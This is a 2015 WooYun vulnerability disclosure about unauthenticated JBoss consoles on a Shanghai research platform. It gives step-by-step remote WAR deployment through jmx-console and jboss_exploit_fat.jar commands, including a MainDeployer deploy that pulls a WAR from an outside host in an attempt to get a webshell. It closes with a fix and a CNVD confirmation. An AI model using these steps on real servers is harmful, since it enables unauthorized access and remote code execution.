当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0136894

漏洞标题:上海研发平台—浦东软件平台JBoss未授权访问

相关厂商:上海研发平台

漏洞作者: Aerfa21

提交时间:2015-09-03 15:45

修复时间:2015-10-21 08:56

公开时间:2015-10-21 08:56

漏洞类型:未授权访问/权限绕过

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-03: 细节已通知厂商并且等待厂商处理中
2015-09-06: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-09-16: 细节向核心白帽子及相关领域专家公开
2015-09-26: 细节向普通白帽子公开
2015-10-06: 细节向实习白帽子公开
2015-10-21: 细节向公众公开

简要描述:

上海研发公共服务平台有效整合上海及长三角地区的科技资源,通过开放仪器设备与研究基地,共享科学数据和科技文献,提供专业技术、公益培训、专家咨询等服务,促进科技资...这么重要的,打算来个漏洞连载。
此处尚未得到shell,但是会尽力比较全的列出jboss未授权访问,远程部署war包(给新手的)

详细说明:

目标:**.**.**.**     **.**.**.**    其实两个域名解析的是同一地址


远程部署war包I(admin-console):http://**.**.**.**/admin-console/可惜,此站该页被删


3.png


远程部署war包II(jmx-console):http://**.**.**.**/jmx-console/


4.png


点击jboss.deployment.flavor=URL,type=DeploymentScanner


5.png


进入JMX MBean View后找到void addURL(),填入对外公开的war包地址,然后invoke


6.png


7.png


返回查看MBean View,已经部署成功


8.png


这里不知道什么原因没能获取shell,待进一步思考(目测是有狗)


9.png


远程部署war包III(InvokerServlet):查看基本信息并getshell失败


查看系统名称:
C:\Users\Aerfa>java -jar c:/jboss_exploit_fat.jar -i http://**.**.**.**/in
voker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName


12.png


查看系统版本
C:\Users\Aerfa>java -jar c:/jboss_exploit_fat.jar -i http://**.**.**.**/in
voker/JMXInvokerServlet get jboss.system:type=ServerInfo OSVersion


13.png


远程部署war包(失败)
C:\Users\Aerfa>java -jar c:/jboss_exploit_fat.jar -i http://**.**.**.**/in
voker/JMXInvokerServlet invoke jboss.system:service=MainDeployer deploy http://XXX.xxx/is.war


14.png


远程部署war包IIII(web-console):http://**.**.**.**/web-console/获取基本配置信息(未尝试获取webshell)


11.png


时间来不及了,前两种的getshell失败,没有信心,留下次学习吧。
更多jboss学习资料:**.**.**.**/papers/178


漏洞证明:

如上~

修复方案:

该设密码的设强密码,不需要的页面就删掉吧

版权声明:转载请注明来源 Aerfa21@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-09-06 08:55

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给上海分中心,由其后续协调网站管理单位处置。

最新状态:

暂无